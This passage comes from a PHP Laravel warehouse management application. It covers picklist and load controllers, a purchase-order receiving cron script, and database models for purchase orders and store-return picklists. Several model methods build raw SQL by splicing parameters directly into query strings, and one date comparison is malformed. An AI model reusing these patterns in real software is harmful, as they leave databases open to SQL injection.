$filter_upc = Input::get('filter_upc', NULL);
$filter_so = Input::get('filter_so', NULL);
$filter_from_slot = Input::get('filter_from_slot', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
// $filter_to_slot = Input::get('filter_to_slot', NULL);
// $filter_status_detail = Input::get('filter_status_detail', NULL);
//for back
$sort_back = Input::get('sort_back', 'doc_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
$arrParams = array(
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
// 'filter_to_slot' => $filter_to_slot,
// 'filter_status_detail' => $filter_status_detail,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'picklist_doc' => $picklistDoc,
'limit' => 30
);
$results = StoreReturnPickingdetail::getFilteredPicklistDetailStock($arrParams);
$results_total = StoreReturnPickingdetail::getFilteredPicklistDetailStock($arrParams, true);
// echo "<pre>"; print_r($results);die();
// Pagination
$this->data['arrFilters'] = array(
// 'filter_to_slot' => $filter_to_slot,
// 'filter_status_detail' => $filter_status_detail,
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'picklist_doc' => $picklistDoc,
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
'sort' => $sort_detail,
'order' => $order_detail
);
$this->data['picklist_detail'] = Paginator::make($results->toArray(), $results_total, 30);
$this->data['picklist_detail_count'] = $results_total;
$this->data['counter'] = $this->data['picklist_detail']->getFrom();
$this->data['picklist_doc'] = $picklistDoc;
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_upc'] = $filter_upc;
$this->data['filter_so'] = $filter_so;
$this->data['filter_from_slot'] = $filter_from_slot;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
// $this->data['filter_status_detail'] = $filter_status_detail;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
// Details
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
$url = '?filter_sku=' . $filter_sku . '&filter_upc=' . $filter_upc . '&filter_so=' . $filter_so;
$url .= '&filter_from_slot=' . $filter_from_slot . '&picklist_doc=' . $picklistDoc;
$url .= '&page=' . $page_detail;
$this->data['url_export_detail'] = URL::to('picking/export_detail' . $url);
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort_detail=='upc' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_so_no = ($sort_detail=='so_no' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_from_slot_code = ($sort_detail=='from_slot_code' && $order_detail=='ASC') ? 'DESC' : 'ASC';
// $order_to_slot_code = ($sort_detail=='to_slot_code' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['filter_doc_no'] =$filter_doc_no;
$this->data['url_back'] =URL::to('stocktransfer/PickAndPackStore');
$this->layout->content = View::make('store_return/pick_pack_detail', $this->data);
}
public function getstocktranferload ()
{
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data = Lang::get('loads');
//$filter_stock_piler = Input::get('filter_stock_piler', NULL);
//$sort = Input::get('sort', 'load_code');
//$order = Input::get('order', 'ASC');
//$page = Input::get('page', 1);
$this->data['filter_load_code'] = Input::get('filter_load_code', NULL);
$this->data['filter_stock_piler'] = Input::get('filter_stock_piler', NULL);
$this->data['filter_entry_date'] = Input::get('filter_entry_date', NULL);
$this->data['sort'] = Input::get('sort', 'load_code');
$this->data['order'] = Input::get('order', 'DESC');
$this->data['page'] = Input::get('page', 1);
$this->data['url_export'] = URL::to('load/export');
$arrparam=$arrayName = array(
'filter_load_code' => $this->data['filter_load_code'],
'filter_assigned_to_user_id'=> $this->data['filter_stock_piler'],
'filter_ship_at' => $this->data['filter_entry_date'],
'sort' => $this->data['sort'],
'order' => $this->data['order'],
'page' => $this->data['page']
);
$results = load::getlist($arrparam);
$results_total = load::getlist($arrparam,True);
$this->data['load_list'] = Paginator::make($results, $results_total, 30);
$this->data['list_count'] = $results_total;
$this->data['arrparam'] = $arrparam;
$this->data['counter'] = $this->data['load_list']->getFrom();
$this->data['permissions'] = unserialize(Session::get('permissions'));
$url = '?filter_load_code=' . $this->data['filter_load_code'];
$url .= '&filter_assigned_to_user_id=' . $this->data['filter_stock_piler'];
$url .= '&page=' .$this->data['page'];
$order_load_code = ($this->data['sort']=='load_code' && $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$order_date_created = ($this->data['sort']=='load.created_at'&& $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$order_ship_at = ($this->data['sort']=='ship_at'&& $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_load_code'] = URL::to('shipping/list' . $url .'&sort=load_code&order=' . $order_load_code, NULL, FALSE);
$this->data['sort_date_created'] = URL::to('shipping/list' . $url . '&sort=load.created_at&order=' . $order_date_created, NULL, FALSE);
$this->data['sort_ship_at'] = URL::to('shipping/list' . $url . '&sort=ship_at&order=' . $order_ship_at, NULL, FALSE);
//$this->data['sort_entry_date'] = URL::to('purchase_order' . $url . '&sort=entry_date&order=' . $order_entry_date, NULL, FALSE);
$this->data['url_generate_load_code'] = URL::to('box/new/load');
$this->data['url_closepicklist'] = URL::to('picking/close');
$this->data['url_shipped'] = URL::to('load/shipLoad');
$this->layout->content = View::make('store_return.stocktransfer_load', $this->data);
}
/**
* Display a listing of the resource.
*
* @return Response
*/
public function index()
{
//
}
/**
* Show the form for creating a new resource.
*
* @return Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @return Response
*/
public function store()
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return Response
*/
public function show($id)
{
//
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param int $id
* @return Response
*/
public function update($id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return Response
*/
public function destroy($id)
{
//
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '?filter_so_no=' . Input::get('filter_so_no', NULL);
$url .= '&filter_receiver_no=' . Input::get('filter_receiver_no', NULL);
// $url .= '&filter_supplier=' . Input::get('filter_supplier', NULL);
$url .= '&filter_entry_date=' . Input::get('filter_entry_date', NULL);
$url .= '&filter_stock_piler=' . Input::get('filter_stock_piler', NULL);
$url .= '&filter_status=' . Input::get('filter_status', NULL);
$url .= '&filter_back_order=' . Input::get('filter_back_order', NULL);
$url .= '&filter_brand=' . Input::get('filter_brand', NULL);
$url .= '&filter_division=' . Input::get('filter_division', NULL);
$url .= '&filter_shipment_reference_no=' . Input::get('filter_shipment_reference_no', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'so_no');
$url .= '&order_back=' . Input::get('order', 'DESC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'so_no');
$url .= '&order=' . Input::get('order_back', 'DESC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'so_no');
$url .= '&order=' . Input::get('order', 'DESC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
}
<file_sep>#!/usr/local/bin/php -q
<?php
include_once("jda_modules.php");
$module = new jdaModules();
$validate = $module->purchaseOrderReceiving();
if($validate) $module->purchaseOrderClosing();
else echo 'Something went wrong...';
<file_sep>
<?php
class PurchaseOrderDetail extends Eloquent {
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'purchase_order_details';
protected $fillable = array('sku', 'receiver_no');
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public static function updateDivisionStatus($receiver_no)
{
$query = DB::select(DB::raw("UPDATE wms_purchase_order_details set po_status= '5' where receiver_no=$receiver_no"));
}
public static function getPOInfoDetail($receiver_no = NULL,$quantity_delivered = NULL,$division_id = NULL) {
$query = DB::table('purchase_order_details')
->join('users', 'purchase_order_details.assigned_to_user_id', '=', 'users.id', 'left')
->join('dataset','purchase_order_details.po_status','=','dataset.id','left')
->join('purchase_order_lists','purchase_order_details.receiver_no','=','purchase_order_lists.receiver_no','left')
//->join('vendors', 'purchase_order_lists.vendor_id', '=', 'vendors.id', 'left')
->where('purchase_order_details.receiver_no', '=', $receiver_no)
->where('purchase_order_details.dept_number', '=', $division_id)
->where('purchase_order_details.quantity_delivered', '=', $quantity_delivered)
->first();
return $query;
}
public static function getPOInfo($receiver_no = NULL) {
$query = DB::table('purchase_order_lists')
// ->join('users', 'purchase_order_lists.assigned_to_user_id', '=', 'users.id', 'LEFT')
->join('dataset', 'purchase_order_lists.po_status', '=', 'dataset.id', 'LEFT')
->join('vendors', 'purchase_order_lists.vendor_id', '=', 'vendors.id', 'LEFT')
->where('purchase_order_lists.receiver_no', '=', $receiver_no);
$result = $query->get(array(
'purchase_order_lists.*',
'vendors.vendor_name',
'dataset.data_display'
// 'users.firstname',
// 'users.lastname'
)
);
// get the multiple stock piler fullname
foreach ($result as $key => $po) {
$assignedToUserId = explode(',', $po->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
return $result[0];
}
public static function updateqty($quantity_delivered,$receiver_no,$division_id, $upc)
{
/*$query=DB::table('purchase_order_details')
->where('receiver_no','=',$receiver_no)
->where('dept_number','=',$division)
->where('upc','=', $upc)
->update(['quantity_delivered'=> $quantity_delivered]);*/
$query = DB::select(DB::raw("UPDATE `wms_purchase_order_details` SET quantity_delivered='$quantity_delivered' where receiver_no='$receiver_no' and dept_number='$division_id' and upc='$upc'"));
}
public function getPOnumberupdate($receiver_no)
{
$query = DB::table('purchase_order_lists')
->select('purchase_order_lists.*','purchase_order_details.*')
->join('purchase_order_details','purchase_order_lists.receiver_no','=','purchase_order_details.receiver_no','left')
->where('purchase_order_lists.receiver_no','=', $receiver_no)
->first();
return $query;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public static function getAPIPoDetail($data = array())
{
$query = PurchaseOrderDetail::join('purchase_order_lists', 'purchase_order_details.receiver_no', '=', 'purchase_order_lists.receiver_no', 'LEFT')
->join('product_lists', 'purchase_order_details.sku', '=', 'product_lists.upc', 'LEFT')
->where('purchase_order_details.receiver_no', '=', $data['receiver_no']);
$result = $query->get(array(
"purchase_order_details.*",
"product_lists.description", "product_lists.short_description"
)
);
return $result;
}
public static function updateSKUs($data = array(), $receiver_no)
{
// echo '<pre>'; print_r($data); die();
if(! CommonHelper::hasValue($receiver_no) ) throw new Exception( 'Receiver number is missing from parameter.');
if(! isset($data['sku'])) throw new Exception( 'Sku is missing from data parameter.');
if(! isset($data['quantity_delivered'])) throw new Exception( 'Quantity is missing from data parameter.');
$query = PurchaseOrderDetail::where('sku', '=', $data['sku'])->where('receiver_no', '=', $receiver_no);
$data['receiver_no'] = $receiver_no;
$checkSku = PurchaseOrderDetail::isSKUExist($query, $data);
if ($checkSku) {
// PurchaseOrderDetail::checkIfQtyExceeds($query, $data['quantity_delivered']);
$array_params = array(
'quantity_delivered' => $data['quantity_delivered'],
'expiry_date' => $data['expiry_date'],
'updated_at' => date('Y-m-d H:i:s')
);
//update our db quantities
$result = $query->update($array_params);
//update db2 quantities
$skuNo = ProductList::getSkuNo($data['sku']);
PurchaseOrderDetail::updateQuantities($receiver_no, $skuNo, $data['quantity_delivered']);
DebugHelper::log(__METHOD__, $result);
return $result;
}
}
public static function isSKUExist($query, $data)
{
$isExists = $query->first();
DebugHelper::log(__METHOD__, $isExists);
// throw new Exception( 'SKU not found in the database.');
if( is_null($isExists) ) {
Unlisted::createUpdate($data);
return false;
}
return true;
}
public static function checkIfQtyExceeds($query, $qty_delivered)
{
$row = $query->first();
DebugHelper::log(__METHOD__, $row);
if( $row["quantity_ordered"] < $qty_delivered ) throw new Exception( 'Cannot accept more than the expected quantity.');
return;
}
public static function getPODetails($receiver_no = NULL, $data = array()) {
$query = DB::table('purchase_order_lists')
->select(DB::raw( 'convert(wms_product_lists.sku, decimal(20,0)) as sku, wms_purchase_order_details.upc as upc'),'product_lists.description', 'purchase_order_details.po_status',
'purchase_order_details.quantity_ordered', 'dataset.id as partial',
'purchase_order_details.quantity_delivered','purchase_order_details.expiry_date','purchase_order_details.dept_number','dataset.data_display')
->join('purchase_order_details', 'purchase_order_lists.receiver_no', '=', 'purchase_order_details.receiver_no', 'RIGHT')
->join('product_lists', 'purchase_order_details.upc', '=', 'product_lists.upc','LEFT')
->join('dataset','purchase_order_details.po_status','=','dataset.id','LEFT')
->where('purchase_order_details.receiver_no', '=', $receiver_no)
->where('purchase_order_details.dept_number', '=', $data['division_id']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'product_lists.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='description') $data['sort'] = 'product_lists.description';
if ($data['sort']=='expected_quantity') $data['sort'] = 'purchase_order_details.quantity_ordered';
if ($data['sort']=='received_quantity') $data['sort'] = 'purchase_order_details.quantity_delivered';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getUnlistedDebenhams($data = array()){
$query = DB::SELECT(DB::raw("SELECT wms_purchase_order_details.upc, wms_product_lists.description, wms_product_lists.short_description, wms_purchase_order_details.division, wms_purchase_order_details.assigned_to_user_id, CONCAT(wms_users.firstname, wms_users.lastname ) as fullname, wms_purchase_order_lists.purchase_order_no, shipment_reference_no, quantity_delivered from wms_purchase_order_details left join wms_purchase_order_lists on wms_purchase_order_details.receiver_no = wms_purchase_order_lists.receiver_no left join wms_product_lists on wms_purchase_order_details.upc = wms_product_lists.upc left join wms_users on wms_purchase_order_details.assigned_to_user_id = wms_users.id where quantity_ordered=0"));
return $query;
}
public static function getPODetailsUnlisted($data = array()) {
$query = DB::table('purchase_order_lists')
->select(DB::raw( 'convert(wms_product_lists.sku, decimal(20,0)) as sku, wms_purchase_order_details.upc as upc'),'product_lists.description',
'purchase_order_details.quantity_ordered',
'purchase_order_details.quantity_delivered','purchase_order_details.expiry_date')
->join('purchase_order_details', 'purchase_order_lists.receiver_no', '=', 'purchase_order_details.receiver_no', 'RIGHT')
->join('product_lists', 'purchase_order_details.sku', '=', 'product_lists.sku','LEFT')
->where('purchase_order_details.quantity_ordered','=',0);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'product_lists.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='description') $data['sort'] = 'product_lists.description';
if ($data['sort']=='expected_quantity') $data['sort'] = 'purchase_order_details.quantity_ordered';
if ($data['sort']=='received_quantity') $data['sort'] = 'purchase_order_details.quantity_delivered';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getScannedPODetails($receiver_no = NULL) {
$query = DB::table('purchase_order_lists')
->select('purchase_order_details.*','purchase_order_lists.*')
->join('purchase_order_details', 'purchase_order_lists.receiver_no', '=', 'purchase_order_details.receiver_no', 'RIGHT')
->join('product_lists', 'purchase_order_details.sku', '=', 'product_lists.upc')
->where('purchase_order_details.receiver_no', '=', $receiver_no)
->where('quantity_delivered' , '>', 0);
$result = $query->get();
return $result;
}
public static function getCountPODetails($receiver_no, $division_id) {
$query = DB::table('purchase_order_lists')
->join('purchase_order_details', 'purchase_order_lists.receiver_no', '=', 'purchase_order_details.receiver_no', 'RIGHT')
->join('product_lists', 'purchase_order_details.upc', '=', 'product_lists.upc','LEFT')
->where('purchase_order_details.receiver_no', '=', $receiver_no)
->WHERE('purchase_order_details.dept_number','=', $division_id);
return $query->count();
}
public static function getUpcWithStatusDone($data = array()) {
//get status done
$arrParams = array('data_code' => 'PO_STATUS_TYPE', 'data_value'=> 'done');
$po_status = Dataset::getType($arrParams)->toArray();
$query = DB::table('purchase_order_details')->join('purchase_order_lists', 'purchase_order_details.receiver_no', '=', 'purchase_order_lists.receiver_no', 'LEFT')
->where('purchase_order_lists.po_status', '=', $po_status['id'])
->where('purchase_order_details.quantity_delivered', '>', 0)
->where('purchase_order_details.deleted_at', '=', '0000-00-00 00:00:00');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
return $query->get(array(
'purchase_order_details.*'
)
);
}
public static function getCountUpcWithStatusDone($data = array()) {
//get status done
$arrParams = array('data_code' => 'PO_STATUS_TYPE', 'data_value'=> 'done');
$po_status = Dataset::getType($arrParams)->toArray();
$query = DB::table('purchase_order_details')->join('purchase_order_lists', 'purchase_order_details.receiver_no', '=', 'purchase_order_lists.receiver_no', 'LEFT')
->where('purchase_order_lists.po_status', '=', $po_status['id'])
->where('purchase_order_details.quantity_delivered', '>', 0)
->where('purchase_order_details.deleted_at', '=', '0000-00-00 00:00:00');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
return $query->count();
}
public static function getSku($data = array()) {
$query = DB::table('purchase_order_details')->where('sku', '=', $data['sku'])
->where('receiver_no', '=', $data['receiver_no']);
return $query->first();
}
public static function getPODetailsWithExpiration($data = array(), $getCount = false) {
$query = DB::table('purchase_order_lists')
->join('purchase_order_details', 'purchase_order_lists.receiver_no', '=', 'purchase_order_details.receiver_no', 'RIGHT')
->join('users', 'purchase_order_lists.assigned_to_user_id', '=', 'users.id', 'RIGHT')
->join('product_lists', 'purchase_order_details.sku', '=', 'product_lists.upc')
->where('expiry_date', '<>', '0000-00-00 00:00:00');
if( CommonHelper::hasValue($data['filter_po_no']) ) $query->where('purchase_order_no', 'LIKE', '%'.$data['filter_po_no'].'%');
if( CommonHelper::hasValue($data['filter_shipment_reference_no']) ) $query->where('shipment_reference_no', 'LIKE', '%'.$data['filter_shipment_reference_no'].'%');
if( CommonHelper::hasValue($data['filter_from_date']) ) $query->where('expiry_date', '>=', $data['filter_from_date']);
if( CommonHelper::hasValue($data['filter_to_date']) ) $query->where('expiry_date', '<=', $data['filter_to_date']);
if( CommonHelper::hasValue($data['filter_to_date']) && CommonHelper::hasValue($data['filter_from_date'])) $query->where('expiry_date', '<=', $data['filter_to_date'])->where('expiry_date', '>=', $data['filter_from_date']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='description') $data['sort'] = 'product_lists.description';
if ($data['sort']=='expected_quantity') $data['sort'] = 'purchase_order_details.quantity_ordered';
if ($data['sort']=='received_quantity') $data['sort'] = 'purchase_order_details.quantity_delivered';
$query->orderBy($data['sort'], $data['order']);
}
if($getCount) {
return $result = $query->count();
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function testGet() {
$sql = "SELECT POMRCH.PONUMB, POMRCH.POMRCV
FROM POMRCH
LEFT JOIN POMHDR ON POMHDR.PONUMB = POMRCH.PONUMB AND POMRCH.POBON = POMHDR.POBON
WHERE POMRCH.PONUMB IN (128985) and POMRCH.POSTAT = 3";
//WHERE POMRCH.POSTAT = 3 AND POMRCH.POLOC = 7000
$sql2 = "SELECT INUMBR, POMRCV, POMCUR
FROM POMRCD
WHERE POMRCV=3910";
$db2 = new DB2Helper;
$result = $db2->get($sql);
$result2 = $db2->get($sql2);
echo '<pre>'; print_r($result);
echo '<pre>'; print_r($result2);
$db2->close();
}
/*DB2 Functions*/
public static function updateQuantities($receiver_no, $sku, $quantity) {
$sql = "UPDATE POMRCD SET POMCUR={$quantity} WHERE POMRCV={$receiver_no} AND INUMBR={$sku}";
$db2 = new DB2Helper;
$result = $db2->updateRecord($sql);
$db2->close();
}
}<file_sep><?php
class StoreReturnPickinglist extends Eloquent {
protected $table = 'store_return_pickinglist';
protected $fillable = array('sku', 'doc_no');
/********************Methods for CMS only**************************/
public static function getTosubloc()
{
$query = DB::select(DB::raw("SELECT wms_store_return_pickinglist.to_store_code, wms_stores.store_name from wms_store_return_pickinglist left join wms_stores on wms_store_return_pickinglist.to_store_code = wms_stores.store_name"));
return $query;
}
public static function getUpdateDateMod($move_doc_number, $ship_date)
{
$query = DB::SELECT(DB::raw("UPDATE wms_store_return_pickinglist set ship_date='$ship_date' WHERE move_doc_number='$move_doc_number'"));
}
public static function getStorelocation($doc_num)
{
$query=DB::table('store_return_pickinglist')
->select('store_name','store_name as str_nem')
->join('stores','store_return_pickinglist.from_store_code','=','stores.store_code','LEFT')
->WHERE('move_doc_number', $doc_num);
return $query;
}
public static function getPicklistBoxes($doc_num)
{
/*$box = StoreReturnPickinglist::select(DB::raw('sum(wms_box_details.moved_qty) as total_qty'),'box_details.box_code',
'store_return_pick_details.sku as upc','store_return_pick_details.from_store_code','store_return_pick_details.to_store_code','stores.store_code', 'stores.store_name','store_return_pickinglist.move_doc_number',
'product_lists.description','product_lists.dept_code','product_lists.sub_dept','product_lists.class','product_lists.sub_class','box.box_number','box.box_total','store_return_pickinglist.ship_date')
->join('store_return_pick_details', 'store_return_pick_details.move_doc_number', '=', 'store_return_pickinglist.move_doc_number')
->join('box_details', 'store_return_pick_details.id', '=', 'box_details.subloc_transfer_id','LEFT')
->join('box', 'box_details.box_code','=','box.box_code','LEFT')
->join('product_lists','product_lists.upc','=','store_return_pick_details.sku','LEFT')
->join('stores','store_return_pick_details.from_store_code','=','stores.store_code','LEFT')
->where('store_return_pickinglist.move_doc_number','=', $doc_num)
->groupBy('box_details.box_code')
->get();
return $box;*/
$query= DB::SELECT(DB::raw("SELECT GROUP_CONCAT(DISTINCT(wms_store_return_pick_details.move_doc_number) SEPARATOR ', ' ) as MASTER_EDU ,wms_box_details.box_code,sum(wms_box_details.moved_qty) as qty, sku, ship_date, from_store_code, to_store_code, wms_stores.store_code, wms_stores.store_name
from wms_store_return_pickinglist
INNER JOIN wms_box ON wms_store_return_pickinglist.move_doc_number=wms_box.tl_number
inner join wms_box_details on wms_box.box_code=wms_box_details.box_code
INNER JOIN wms_store_return_pick_details on wms_box_details.subloc_transfer_id=wms_store_return_pick_details.id
left join wms_stores on wms_store_return_pick_details.to_store_code = wms_stores.store_code
where wms_store_return_pickinglist.move_doc_number='$doc_num'
GROUP BY wms_box_details.box_code
"));
return $query;
}
public static function getStockTransferTLNumberPosted($data = array(), $getCount = false)
{
$query = DB::table('box')
->select('store_return_pickinglist.*', 'stores.store_name', 'to_store_code')
->join('store_return_pick_details','store_return_pickinglist.move_doc_number','=','store_return_pick_details.move_doc_number','LEFT')
->join('stores','store_return_pick_details.from_store_code','=','stores.store_code','LEFT')
->where('type','=','1')
->where('pl_status','=','18');
/*$this->data['stores'] = Store::lists( 'store_name', 'store_code');
$this->data['po_info'] = Store::lists( 'store_name','store_name');*/
/*if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('load_details.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'].'%');*/
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('store_return_pickinglist.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('stores.store_code', '=', $data['filter_store']);
if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_return_pick_details.to_store_code', '=', $data['filter_store_name']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if($data['sort'] == 'doc_no') $data['sort'] = 'store_return_pickinglist.move_doc_number';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('store_return_pickinglist.move_doc_number');
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getremovedTL($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("DELETE FROM wms_load_details where load_code = '$loadnumber' and move_doc_number = '$tlnumber'"));
}
public static function getremovedTLUpdate($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("UPDATE wms_store_return_pickinglist set type='0' where move_doc_number='$tlnumber'"));
}
public static function assignToTLnumber($tlnumber , $loadnumber) {
$query1 = DB::select(DB::raw("INSERT INTO `wms_load_details`(`id`, `load_code`, `move_doc_number`,`sync_status`, `is_load`, `created_at`, `updated_at`, `jda_sync_date`) VALUES ('','$loadnumber','$tlnumber','','','','','')"));
}
public static function assignToTL($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("UPDATE wms_store_return_pickinglist set type='1' where move_doc_number='$tlnumber'"));
}
public static function getStocktransferPickingListv2($data= array(), $getCount=false)
{
$query = StoreReturnPickinglist::select('store_return_pickinglist.move_doc_number','store_return_pickinglist.ship_date', 'users.firstname','users.lastname','dataset.*','stores.store_name','store_return_pick_details.from_store_code','stores.store_code','store_return_pick_details.to_store_code','dataset.data_value')
->join('store_return_pick_details','store_return_pickinglist.move_doc_number','=','store_return_pick_details.move_doc_number','LEFT')
->join('users','store_return_pickinglist.assigned_to_user_id','=','users.id','left')
->join('stores','store_return_pick_details.to_store_code','=','stores.store_code','left')
->join('dataset', 'store_return_pickinglist.pl_status', '=', 'dataset.id');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('store_return_pickinglist.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_status']) ) $query->where('data_value', '=', $data['filter_status'])->where('data_code', '=', 'PICKLIST_STATUS_TYPE');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('stores.store_code', '=', $data['filter_store']);
if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_return_pick_details.to_store_code', '=', $data['filter_store_name']);
if( CommonHelper::hasValue($data['filter_stock_piler']) ) $query->whereRaw('find_in_set('. $data['filter_stock_piler'] . ',assigned_to_user_id) > 0');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('store_return_pickinglist.move_doc_number');
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function updateStatusstocktransfer()
{
$query=DB::table('store_return_pickinglist')
->where('store_return_pickinglist.so_status', 22)
->where('store_return_pickinglist.assigned_to_user_id','!=', 0)
->update(['store_return_pickinglist.so_status' =>'23']);
}
public static function getStoreReturnPickandPackTLnumbersync()
{
$query=DB::table('store_return_pickinglist')
->where('store_return_pickinglist.pl_status', 15)
->where('store_return_pickinglist.assigned_to_user_id','!=', 0)
->update(['store_return_pickinglist.pl_status' =>'16']);
}
public static function getStoreReturnPickandPackTLnumbersyncclose($tl_number)
{
$query=DB::table('store_return_pickinglist')
->where('store_return_pickinglist.move_doc_number',$tl_number)
->where('store_return_pickinglist.pl_status', '=', 17)
->where('store_return_pickinglist.assigned_to_user_id','!=', 0)
->where('store_return_pickinglist.ship_date','!=', 0000-00-00)
->update(['store_return_pickinglist.pl_status' =>'18']);
}
public static function getInfoBySoNo($data)
{
return StoreReturnPickinglist::whereIn('move_doc_number', $data)->get()->toArray();
}
public static function assignToStockPilerPickingmodel($docNo = '', $data = array())
